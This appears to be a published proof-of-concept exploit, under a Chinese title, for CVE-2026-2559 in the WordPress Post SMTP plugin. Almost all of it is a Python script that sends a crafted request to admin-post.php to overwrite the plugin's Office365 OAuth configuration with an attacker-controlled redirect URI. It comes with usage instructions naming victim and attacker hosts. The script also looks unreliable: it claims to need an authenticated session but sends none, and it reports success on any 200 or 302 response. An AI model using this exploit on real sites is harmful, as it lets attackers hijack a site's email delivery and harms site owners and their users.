CVE-2026-2559 WordPress Post SMTP插件OAuth配置劫持漏洞

import requests import sys from urllib.parse import urlencode # CVE-2026-2559 PoC - Post SMTP Office365 OAuth Configuration Hijacking # Target: WordPress site with Post SMTP plugin <= 3.8.0 # Author: Generated PoC def exploit_oauth_redirect(target_url, attacker_callback_url): """ Exploit the missing capability check in handle_office365_oauth_redirect() This allows authenticated users (subscriber+) to overwrite OAuth config """ # Craft the malicious OAuth redirect URL # The function is hooked to admin_init without nonce verification exploit_params = { 'action': 'post_smtp_office365_oauth_redirect', 'code': 'attacker_access_token_or_authorization_code', 'state': 'attacker_session_state', 'redirect_uri': attacker_callback_url } # Target the admin-post.php endpoint exploit_url = f"{target_url.rstrip('/')}/wp-admin/admin-post.php" print(f"[*] Target: {target_url}") print(f"[*] Exploit URL: {exploit_url}") print(f"[*] Sending crafted request...") # Send the exploit request (requires authenticated session with subscriber+ role) response = requests.get(exploit_url, params=exploit_params, allow_redirects=False) print(f"[*] Response Status: {response.status_code}") if response.status_code in [200, 302]: print("[+] Request sent successfully") print("[+] OAuth configuration may have been overwritten") print("[+] Next: Wait for admin to configure Pro version SMTP") print("[+] Admin will unknowingly connect to attacker's Azure app") else: print("[-] Exploit failed") return response if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <attacker_callback_url>") print(f"Example: python {sys.argv[0]} http://victim.com https://attacker.com/callback") sys.exit(1) target = sys.argv[1] callback = sys.argv[2] exploit_oauth_redirect(target, callback)